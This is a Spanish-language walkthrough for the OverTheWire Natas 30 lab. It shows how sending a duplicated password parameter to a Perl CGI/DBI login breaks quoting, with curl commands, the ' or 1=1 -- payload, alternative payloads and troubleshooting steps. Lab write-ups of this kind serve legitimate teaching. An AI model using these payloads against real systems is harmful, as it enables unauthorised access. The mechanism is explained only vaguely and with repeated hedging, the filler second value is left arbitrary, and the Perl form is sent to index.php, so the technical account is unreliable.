Natas Nivel 30 a 31

Nivel oficial: http://natas30.natas.labs.overthewire.org

Este nivel explota una peculiaridad del ecosistema Perl/CGI: cuando un parametro de formulario se repite en la peticion HTTP, Perl lo recibe como una lista (array) en lugar de una cadena escalar. El modulo DBI de Perl no aplica el quoting esperado cuando el valor es una referencia a array, lo que abre una ventana de inyeccion SQL aunque el codigo parezca usar una API segura.

Este wargame es un laboratorio legal y autorizado por OverTheWire. Toda practica aqui descrita es etica y legal dentro de ese entorno.

Objetivo

Obtener la contrasena de natas31 explotando la inyeccion SQL que surge al pasar un parametro del formulario de login como array (valor duplicado) en una aplicacion Perl que usa DBI.

Credenciales de entrada: usuario natas30, contrasena <pass_natas30> (obtenida del nivel anterior).

Que aprendes

Concepto / ComandoPara que sirve
CGI.pm param duplicadoPasar el mismo parametro dos veces hace que param('x') devuelva una lista en lugar de un escalar
DBI y quoting de arraysDBI->quote() aplicado a una referencia de array en Perl genera SQL sin escapar correctamente
SQLi en contexto Perl/DBIInyectar logica SQL cuando el backend es Perl aunque use placeholders parciales
curl --data con parametro repetidoReproducir la peticion maliciosa desde la linea de comandos
OR 1=1 con comentario --Payload clasico de bypass de autenticacion adaptado a este contexto

Concepto clave

Categoria de vulnerabilidad: Inyeccion SQL (OWASP A03:2021 — Injection), variante por manejo incorrecto de tipos en Perl/CGI.

Patron en tres capas:

  1. Capa CGI: CGI.pm expone $cgi->param('password'). Si la peticion HTTP contiene password=foo&password=bar, param('password') devuelve la lista ('foo', 'bar') en contexto de lista Perl, que en contexto escalar se convierte en 2 (numero de elementos). Sin embargo, si el codigo pasa esa lista directamente a DBI->quote() o la interpola en la consulta, el modulo no sabe que debe tratar cada elemento como una cadena independiente.

  2. Capa DBI: $dbh->quote($value) espera un escalar. Si recibe una referencia a array (o la lista se flattea de forma inesperada), puede producir una cadena sin escapar o con delimitadores mal colocados. El resultado es que parte del contenido del array llega al SQL sin quoting, permitiendo inyeccion.

  3. Capa SQL: la consulta resultante en el servidor tiene la forma:

SELECT * FROM users WHERE username='natas30' AND password='<fragmento_controlado_por_atacante>'

Si el atacante controla <fragmento_controlado_por_atacante>, puede cerrar la cadena e insertar condiciones arbitrarias.

Por que es sutil: el codigo Perl puede parecer seguro a primera vista porque usa DBI (la API estandar de bases de datos en Perl) e incluso llama a quote(). El fallo no esta en la API sino en que el programador no valido que el valor recibido fuera un escalar antes de pasarlo.

Paso a paso

  1. Accede al nivel con las credenciales de natas30:
curl -u natas30:<pass_natas30> http://natas30.natas.labs.overthewire.org/

Veras un formulario de login con campos username y password.

  1. Examina el codigo fuente (enlace “View sourcecode”). El fragmento critico es aproximadamente:
my $dbh = DBI->connect(...);
my $username = $cgi->param('username');
my $password = $cgi->param('password');
 
my $query = "SELECT * FROM users WHERE username=" . $dbh->quote($username)
          . " AND password=" . $dbh->quote($password);
 
my $sth = $dbh->prepare($query);
$sth->execute();

El problema: $cgi->param('password') devuelve una lista si el parametro aparece varias veces; $dbh->quote() recibe esa lista en contexto de lista y, dependiendo de la version de DBI/CGI, genera un string sin los delimitadores de cadena esperados, que se interpola directamente en el SQL.

Nota: el comportamiento exacto varia segun version de CGI.pm y DBI. El efecto neto es que se rompe el quoting y parte del valor llega sin escapar al SQL. Si el nivel en produccion muestra un comportamiento diferente, inspecciona la consulta generada via mensajes de error o prueba variaciones del payload.

  1. Construye el payload. La tecnica es duplicar el parametro password en la peticion:
  • Primera ocurrencia: ' or 1=1 -- (la inyeccion SQL real)
  • Segunda ocurrencia: cualquier valor (p. ej. x) para que Perl reciba una lista

Cuando DBI->quote() procesa la lista, el resultado en algunas configuraciones es que el primer elemento se interpola sin quoting completo, produciendo:

SELECT * FROM users WHERE username='natas30' AND password='' or 1=1 --'

1=1 es siempre verdadero y -- comenta el resto; la consulta devuelve filas y el login es exitoso.

  1. Envia el payload duplicando el parametro password:
curl -u natas30:<pass_natas30> \
     --data "username=natas30&password=' or 1=1 --&password=x" \
     http://natas30.natas.labs.overthewire.org/index.php

El orden importa: pon el payload de inyeccion en la primera aparicion de password y el valor de relleno en la segunda.

  1. Lee la respuesta: la pagina mostrara la contrasena de natas31.
You are logged in. The password for natas31 is <pass_natas31>

Guarda <pass_natas31> para el siguiente nivel.

Aviso: el payload anterior es la tecnica documentada para este nivel, pero el comportamiento exacto de DBI->quote() con arrays puede variar. Si no funciona a la primera, prueba invertir el orden de los dos valores de password, o usa ' or '1'='1 como alternativa al 1=1. Inspecciona la respuesta del servidor: si hay un error SQL visible, ajusta el payload en funcion del fragmento que se este interpolando mal.

Por que funciona

La raiz del fallo es un error de impedancia de tipos: CGI.pm modela los parametros HTTP como listas (porque HTTP permite valores repetidos), pero el codigo Perl los trata implicitamente como escalares. En Perl, una lista en contexto escalar devuelve el ultimo elemento o el numero de elementos segun el contexto, y DBI->quote() no fue disenado para recibir referencias a arrays como valores a escapar.

El resultado es que el mecanismo de quoting que debia impedir la inyeccion falla exactamente porque el tipo de dato no era el esperado. La leccion estructural: validar el tipo y la cardinalidad de cada parametro de entrada antes de pasarlo a cualquier API de base de datos, independientemente de si esa API promete escaping automatico.

Con sentencias preparadas reales ($sth = $dbh->prepare("... WHERE password=?"); $sth->execute($password)), el valor se enlaza como dato y nunca se interpola en el SQL, eliminando el vector completamente.

Errores comunes

ErrorCausa probableSolucion
La pagina devuelve “Login failed” sin error SQLEl payload no rompio el quoting; DBI proceso el array de forma segura en esta versionPrueba ' or '1'='1 o 1=1 # como alternativa; inspecciona si hay mas de una forma de pasar la lista
Error 400 / peticion malformadaEl caracter ' o -- se URL-encodo mal por el shellPon el valor entre comillas simples en la shell o usa --data-urlencode "password=' or 1=1 --"
curl devuelve 401Las credenciales HTTP Basic de natas30 son incorrectasVerifica la contrasena del nivel 29
El servidor muestra error de sintaxis SQLEl fragmento interpolado es diferente al esperadoLee el mensaje de error: te dira exactamente que parte del SQL llego mal formada; ajusta el payload para cerrar correctamente las cadenas abiertas

Pasar al siguiente nivel

Accede a natas31 con:

  • URL: http://natas31.natas.labs.overthewire.org
  • Usuario: natas31
  • Contrasena: <pass_natas31>

El nivel 31 introduce una vulnerabilidad diferente en el mismo entorno Perl/CGI; continua prestando atencion al manejo de parametros y al codigo fuente expuesto.

Conexiones